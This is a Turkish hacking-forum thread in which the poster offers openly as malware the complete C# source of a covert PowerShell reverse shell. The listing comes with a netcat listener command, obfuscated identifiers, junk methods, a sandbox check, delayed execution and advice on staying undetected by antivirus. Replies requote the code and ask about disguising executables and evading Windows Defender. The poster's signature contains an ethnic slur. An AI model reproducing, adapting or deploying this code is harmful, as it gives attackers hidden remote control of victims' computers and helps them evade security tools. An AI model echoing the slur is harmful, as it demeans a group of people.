Custom Reverse Shell Undetected Fud - OpenSource

HardHost

Her ibne pkklı değildir ama her pkk'lı bir ibnedir
Diamond Üye
Katılım
11 Nis 2022
Mesajlar
260
Beğeniler
151
Hazır programlar kullanıp crypter gibi şeyler kullanmaktansa kodu kendiniz geliştirerek çok sağlam rev shell yazabilirsiniz, her detected olduğunuzda kodun yapısını değiştirdiğinizde tekrardan çok kolay bir şekilde fud yapabilirsiniz ayrıca anti Crâck yani hash check, anti debug gibi özellikler ekleyerek detected edilmesini engelleyebilirsiniz ben server olarak ncat kullandım bağlantı sırasında detected olmuyor ayrıca 10 saniyelik aralık bıraktım runtime checkde detected olmaz süreyi arttırabilirsiniz ek olarak bağlantı koptuğunda veya bağlanılamadığında 10 dakika döngü ekledim 10 dakika içerisinde tekrar server bağlantısını açarsanız hemen bağlanacaktır 10 dakika bağlantı gelmesse kendini kapatır geliştirmemi istediğiniz özellikleri yazabilirsiniz.

jkx0kqp.png



Server SIDE ->
nc -lvnp 1337

Client SIDE ->

C#:
using System.Management;
using System;
using System.IO;
using System.Net.Sockets;
using System.Diagnostics;
using System.Text;
using System.Threading;
using System.Runtime.InteropServices;

namespace HagbaakagBjJAWDHkGskagabnzhaowysnalay
{
    public class ahJAWDKgLAKAGSDWBNSMAHKWNAKSGAJD
    {
        private static StreamWriter _streamWriter;
        private static TcpClient _client;
        private static Process _process;

        [DllImport("kernel32.dll", SetLastError = true)]

        static extern bool FreeConsole();

        private static void GAHWAKDALWDaKADGAWaDVAsJkahWHDAWHJDJAWD()
        {
            try
            {
            }
            catch (Exception ex)
            {
            }
        }

        private static void GAHWAKDALWDKADGAWDVAsJkahWHDAWHJDJAWD()
        {
            try
            {
            }
            catch (Exception ex)
            {
            }
        }

        private static void GAHWAKDALWDKADGAawdawdWDVAsJkahWHDAWHJDJAWD()
        {
            try
            {
            }
            catch (Exception ex)
            {
            }
        }

        private static void GAHWAKDALWDKADGAWawdawdDVAsJkahWHDAWHJDJAWD()
        {
            try
            {
            }
            catch (Exception ex)
            {
            }
        }

        private static void GAHWAKDALWadadDKADGAWDVAsJkahWHDAWHJDJAWD()
        {
            try
            {
            }
            catch (Exception ex)
            {
            }
        }

        private static void GAHWAKDALWDKAadaDGAWDVAsJkahWHDAWHJDJAWD()
        {
            try
            {
            }
            catch (Exception ex)
            {
            }
        }
        public static void Main(string[] args)
        {
            if (!jawfdgvhawbdnAWGHVDHBAWDNahgdvjhbajwnd())
            {
                Environment.Exit(1);
            }
            FreeConsole();

            try
            {
                Thread.Sleep(10000);
                rest("127.0.0.1", 1337);
            }
            catch (Exception ex)
            {
            }
            finally
            {
                NAGAHSDKKEDAWVWAGDJAWDKAWDKAWDGAWDGAWDHAWJDAWJKD();
            }
        }

        private static void rest(string ipAddress, int port)
        {
            DateTime startTime = DateTime.Now;
            TimeSpan retryDuration = TimeSpan.FromMinutes(10);
            TimeSpan retryInterval = TimeSpan.FromSeconds(10);
            bool connected = false;

            while (DateTime.Now - startTime < retryDuration)
            {
                try
                {
                    if (!connected)
                    {
                        HgawdhJFAWDNSKADGADWDNAWDGGAWDH(ipAddress, port);
                        connected = true;
                    }

                    JgjsksgHAKAGSAEDKAWDGAWDK();
                }
                catch (Exception ex)
                {
                }
                finally
                {
                    if (_client != null && !_client.Connected)
                    {
                        connected = false;
                        NAGAHSDKKEDAWVWAGDJAWDKAWDKAWDGAWDGAWDHAWJDAWJKD();
                        Thread.Sleep(retryInterval);
                    }
                }
            }

            if (!connected)
            {
                Environment.Exit(1);
            }
        }

        private static void HgawdhJFAWDNSKADGADWDNAWDGGAWDH(string ipAddress, int port)
        {
            _client = new TcpClient(ipAddress, port);
            NetworkStream stream = _client.GetStream();
            _streamWriter = new StreamWriter(stream) { AutoFlush = true };

            _process = new Process
            {
                StartInfo = new ProcessStartInfo
                {
                    FileName = "powershell",
                    RedirectStandardOutput = true,
                    RedirectStandardInput = true,
                    RedirectStandardError = true,
                    UseShellExecute = false,
                    CreateNoWindow = true,
                    WindowStyle = ProcessWindowStyle.Hidden
                }
            };

            _process.OutputDataReceived += (sender, e) =>
            {
                if (!string.IsNullOrEmpty(e.Data))
                {
                    GAHWAKDALWDKADGAWDVAWHDAWHJDJAWD(e.Data);
                }
            };

            _process.Start();
            _process.BeginOutputReadLine();
        }

        private static void JgjsksgHAKAGSAEDKAWDGAWDK()
        {
            using (StreamReader reader = new StreamReader(_client.GetStream()))
            {
                string command;
                while ((command = reader.ReadLine()) != null)
                {
                    JAWDHAWFDAWKDAKWDGAWDVAWDGAWDMWADGJFAWDAHWJDHJAWDGHAWDWADAWD(command);
                }
            }
        }

        private static void JAWDHAWFDAWKDAKWDGAWDVAWDGAWDMWADGJFAWDAHWJDHJAWDGHAWDWADAWD(string command)
        {
            try
            {
                if (_process != null && !_process.HasExited)
                {
                    _process.StandardInput.WriteLine(command);
                }
            }
            catch (Exception ex)
            {
            }
        }

        private static void GAHWAKDALWDKADGAWDVAWHDAWHJDJAWD(string data)
        {
            try
            {
                _streamWriter.WriteLine(data);
            }
            catch (Exception ex)
            {
            }
        }

        private static void GAHWAKDALWDKADGAWDVAsJkahWaHDAWHJDJAWD()
        {
            try
            {
            }
            catch (Exception ex)
            {
            }
        }

        static bool jawfdgvhawbdnAWGHVDHBAWDNahgdvjhbajwnd()
        {
            try
            {
                var searcher = new ManagementObjectSearcher("SELECT * FROM Win32_VideoController");
                foreach (ManagementObject obj in searcher.Get())
                {
                    return true;
                }
            }
            catch
            {
            }

            return false;
        }
    private static void NAGAHSDKKEDAWVWAGDJAWDKAWDKAWDGAWDGAWDHAWJDAWJKD()
        {
            if (_process != null && !_process.HasExited)
            {
                _process.Kill();
                _process.WaitForExit();
            }

            if (_client != null)
            {
                _client.Close();
            }

            if (_streamWriter != null)
            {
                _streamWriter.Close();
            }
        }
    }
}
 
Son düzenleme:
Bu kullanıcıyla herhangi bir iş veya ticaret yapmak istiyorsanız, forumdan uzaklaştırıldığını sakın unutmayın.
Hazır programlar kullanıp crypter gibi şeyler kullanmaktansa kodu kendiniz geliştirerek çok sağlam rev shell yazabilirsiniz, her detected olduğunuzda kodun yapısını değiştirdiğinizde tekrardan çok kolay bir şekilde fud yapabilirsiniz ayrıca anti Crâck yani hash check, anti debug gibi özellikler ekleyerek detected edilmesini engelleyebilirsiniz ben server olarak ncat kullandım bağlantı sırasında detected olmuyor ayrıca 10 saniyelik aralık bıraktım runtime checkde detected olmaz süreyi arttırabilirsiniz ek olarak bağlantı koptuğunda veya bağlanılamadığında 10 dakika döngü ekledim 10 dakika içerisinde tekrar server bağlantısını açarsanız hemen bağlanacaktır 10 dakika bağlantı gelmesse kendini kapatır geliştirmemi istediğiniz özellikleri yazabilirsiniz.

jkx0kqp.png



Server SIDE ->
nc -lvnp 1337

Client SIDE ->

C#:
using System;
using System.IO;
using System.Net.Sockets;
using System.Diagnostics;
using System.Text;
using System.Threading;
using System.Runtime.InteropServices;

namespace HagbaakagBjJAWDHkGskagabnzhaowysnalay
{
    public class ahJAWDKgLAKAGSDWBNSMAHKWNAKSGAJD
    {
        private static StreamWriter _streamWriter;
        private static TcpClient _client;
        private static Process _process;

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool FreeConsole();

        public static void Main(string[] args)
        {
            FreeConsole();

            try
            {
                Thread.Sleep(10000);
                HgawdhJFAWDNSKADGADWDNAWDGGAWDH("127.0.0.1", 1337);
                JgjsksgHAKAGSAEDKAWDGAWDK();
            }
            catch (Exception ex)
            {
            }
            finally
            {
                NAGAHSDKKEDAWVWAGDJAWDKAWDKAWDGAWDGAWDHAWJDAWJKD();
            }
        }

        private static void HgawdhJFAWDNSKADGADWDNAWDGGAWDH(string ipAddress, int port)
        {
            DateTime startTime = DateTime.Now;
            TimeSpan retryDuration = TimeSpan.FromMinutes(10);
            bool connected = false;

            while (DateTime.Now - startTime < retryDuration)
            {
                try
                {
                    _client = new TcpClient(ipAddress, port);
                    NetworkStream stream = _client.GetStream();
                    _streamWriter = new StreamWriter(stream) { AutoFlush = true };

                    _process = new Process
                    {
                        StartInfo = new ProcessStartInfo
                        {
                            FileName = "powershell",
                            RedirectStandardOutput = true,
                            RedirectStandardInput = true,
                            RedirectStandardError = true,
                            UseShellExecute = false,
                            CreateNoWindow = true,
                            WindowStyle = ProcessWindowStyle.Hidden
                        }
                    };

                    _process.OutputDataReceived += (sender, e) =>
                    {
                        if (!string.IsNullOrEmpty(e.Data))
                        {
                            GAHWAKDALWDKADGAWDVAWHDAWHJDJAWD(e.Data);
                        }
                    };

                    _process.Start();
                    _process.BeginOutputReadLine();

                    connected = true;
                    break;
                }
                catch (Exception ex)
                {
                    Thread.Sleep(10000);
                }
            }

            if (!connected)
            {
                Environment.Exit(1);
            }
        }

        private static void JgjsksgHAKAGSAEDKAWDGAWDK()
        {
            using (StreamReader reader = new StreamReader(_client.GetStream()))
            {
                string command;
                while ((command = reader.ReadLine()) != null)
                {
                    JAWDHAWFDAWKDAKWDGAWDVAWDGAWDMWADGJFAWDAHWJDHJAWDGHAWDWADAWD(command);
                }
            }
        }

        private static void JAWDHAWFDAWKDAKWDGAWDVAWDGAWDMWADGJFAWDAHWJDHJAWDGHAWDWADAWD(string command)
        {
            try
            {
                if (_process != null && !_process.HasExited)
                {
                    _process.StandardInput.WriteLine(command);
                }
            }
            catch (Exception ex)
            {
            }
        }

        private static void GAHWAKDALWDKADGAWDVAWHDAWHJDJAWD(string data)
        {
            try
            {
                _streamWriter.WriteLine(data);
            }
            catch (Exception ex)
            {
            }
        }

        private static void NAGAHSDKKEDAWVWAGDJAWDKAWDKAWDGAWDGAWDHAWJDAWJKD()
        {
            if (_process != null && !_process.HasExited)
            {
                _process.Kill();
                _process.WaitForExit();
            }

            if (_client != null)
            {
                _client.Close();
            }

            if (_streamWriter != null)
            {
                _streamWriter.Close();
            }
        }
    }
}
Eline sağlık kral bu uzantı ile alakalı bi şey vardı blank grabber kullaniyordu baslatta ekran koruyucusu olarak gözüküyor ama normalde exe onu nasıl yapıyorlar
 
Hazır programlar kullanıp crypter gibi şeyler kullanmaktansa kodu kendiniz geliştirerek çok sağlam rev shell yazabilirsiniz, her detected olduğunuzda kodun yapısını değiştirdiğinizde tekrardan çok kolay bir şekilde fud yapabilirsiniz ayrıca anti Crâck yani hash check, anti debug gibi özellikler ekleyerek detected edilmesini engelleyebilirsiniz ben server olarak ncat kullandım bağlantı sırasında detected olmuyor ayrıca 10 saniyelik aralık bıraktım runtime checkde detected olmaz süreyi arttırabilirsiniz ek olarak bağlantı koptuğunda veya bağlanılamadığında 10 dakika döngü ekledim 10 dakika içerisinde tekrar server bağlantısını açarsanız hemen bağlanacaktır 10 dakika bağlantı gelmesse kendini kapatır geliştirmemi istediğiniz özellikleri yazabilirsiniz.

jkx0kqp.png



Server SIDE ->
nc -lvnp 1337

Client SIDE ->

C#:
using System.Management;
using System;
using System.IO;
using System.Net.Sockets;
using System.Diagnostics;
using System.Text;
using System.Threading;
using System.Runtime.InteropServices;

namespace HagbaakagBjJAWDHkGskagabnzhaowysnalay
{
    public class ahJAWDKgLAKAGSDWBNSMAHKWNAKSGAJD
    {
        private static StreamWriter _streamWriter;
        private static TcpClient _client;
        private static Process _process;

        [DllImport("kernel32.dll", SetLastError = true)]

        static extern bool FreeConsole();

        private static void GAHWAKDALWDaKADGAWaDVAsJkahWHDAWHJDJAWD()
        {
            try
            {
            }
            catch (Exception ex)
            {
            }
        }

        private static void GAHWAKDALWDKADGAWDVAsJkahWHDAWHJDJAWD()
        {
            try
            {
            }
            catch (Exception ex)
            {
            }
        }

        private static void GAHWAKDALWDKADGAawdawdWDVAsJkahWHDAWHJDJAWD()
        {
            try
            {
            }
            catch (Exception ex)
            {
            }
        }

        private static void GAHWAKDALWDKADGAWawdawdDVAsJkahWHDAWHJDJAWD()
        {
            try
            {
            }
            catch (Exception ex)
            {
            }
        }

        private static void GAHWAKDALWadadDKADGAWDVAsJkahWHDAWHJDJAWD()
        {
            try
            {
            }
            catch (Exception ex)
            {
            }
        }

        private static void GAHWAKDALWDKAadaDGAWDVAsJkahWHDAWHJDJAWD()
        {
            try
            {
            }
            catch (Exception ex)
            {
            }
        }
        public static void Main(string[] args)
        {
            if (!jawfdgvhawbdnAWGHVDHBAWDNahgdvjhbajwnd())
            {
                Environment.Exit(1);
            }
            FreeConsole();

            try
            {
                Thread.Sleep(10000);
                rest("127.0.0.1", 1337);
            }
            catch (Exception ex)
            {
            }
            finally
            {
                NAGAHSDKKEDAWVWAGDJAWDKAWDKAWDGAWDGAWDHAWJDAWJKD();
            }
        }

        private static void rest(string ipAddress, int port)
        {
            DateTime startTime = DateTime.Now;
            TimeSpan retryDuration = TimeSpan.FromMinutes(10);
            TimeSpan retryInterval = TimeSpan.FromSeconds(10);
            bool connected = false;

            while (DateTime.Now - startTime < retryDuration)
            {
                try
                {
                    if (!connected)
                    {
                        HgawdhJFAWDNSKADGADWDNAWDGGAWDH(ipAddress, port);
                        connected = true;
                    }

                    JgjsksgHAKAGSAEDKAWDGAWDK();
                }
                catch (Exception ex)
                {
                }
                finally
                {
                    if (_client != null && !_client.Connected)
                    {
                        connected = false;
                        NAGAHSDKKEDAWVWAGDJAWDKAWDKAWDGAWDGAWDHAWJDAWJKD();
                        Thread.Sleep(retryInterval);
                    }
                }
            }

            if (!connected)
            {
                Environment.Exit(1);
            }
        }

        private static void HgawdhJFAWDNSKADGADWDNAWDGGAWDH(string ipAddress, int port)
        {
            _client = new TcpClient(ipAddress, port);
            NetworkStream stream = _client.GetStream();
            _streamWriter = new StreamWriter(stream) { AutoFlush = true };

            _process = new Process
            {
                StartInfo = new ProcessStartInfo
                {
                    FileName = "powershell",
                    RedirectStandardOutput = true,
                    RedirectStandardInput = true,
                    RedirectStandardError = true,
                    UseShellExecute = false,
                    CreateNoWindow = true,
                    WindowStyle = ProcessWindowStyle.Hidden
                }
            };

            _process.OutputDataReceived += (sender, e) =>
            {
                if (!string.IsNullOrEmpty(e.Data))
                {
                    GAHWAKDALWDKADGAWDVAWHDAWHJDJAWD(e.Data);
                }
            };

            _process.Start();
            _process.BeginOutputReadLine();
        }

        private static void JgjsksgHAKAGSAEDKAWDGAWDK()
        {
            using (StreamReader reader = new StreamReader(_client.GetStream()))
            {
                string command;
                while ((command = reader.ReadLine()) != null)
                {
                    JAWDHAWFDAWKDAKWDGAWDVAWDGAWDMWADGJFAWDAHWJDHJAWDGHAWDWADAWD(command);
                }
            }
        }

        private static void JAWDHAWFDAWKDAKWDGAWDVAWDGAWDMWADGJFAWDAHWJDHJAWDGHAWDWADAWD(string command)
        {
            try
            {
                if (_process != null && !_process.HasExited)
                {
                    _process.StandardInput.WriteLine(command);
                }
            }
            catch (Exception ex)
            {
            }
        }

        private static void GAHWAKDALWDKADGAWDVAWHDAWHJDJAWD(string data)
        {
            try
            {
                _streamWriter.WriteLine(data);
            }
            catch (Exception ex)
            {
            }
        }

        private static void GAHWAKDALWDKADGAWDVAsJkahWaHDAWHJDJAWD()
        {
            try
            {
            }
            catch (Exception ex)
            {
            }
        }

        static bool jawfdgvhawbdnAWGHVDHBAWDNahgdvjhbajwnd()
        {
            try
            {
                var searcher = new ManagementObjectSearcher("SELECT * FROM Win32_VideoController");
                foreach (ManagementObject obj in searcher.Get())
                {
                    return true;
                }
            }
            catch
            {
            }

            return false;
        }
    private static void NAGAHSDKKEDAWVWAGDJAWDKAWDKAWDGAWDGAWDHAWJDAWJKD()
        {
            if (_process != null && !_process.HasExited)
            {
                _process.Kill();
                _process.WaitForExit();
            }

            if (_client != null)
            {
                _client.Close();
            }

            if (_streamWriter != null)
            {
                _streamWriter.Close();
            }
        }
    }
}
windows defender algılıyormu
 

  Şuanda konuyu görüntüleyen kullanıcılar


Üst Alt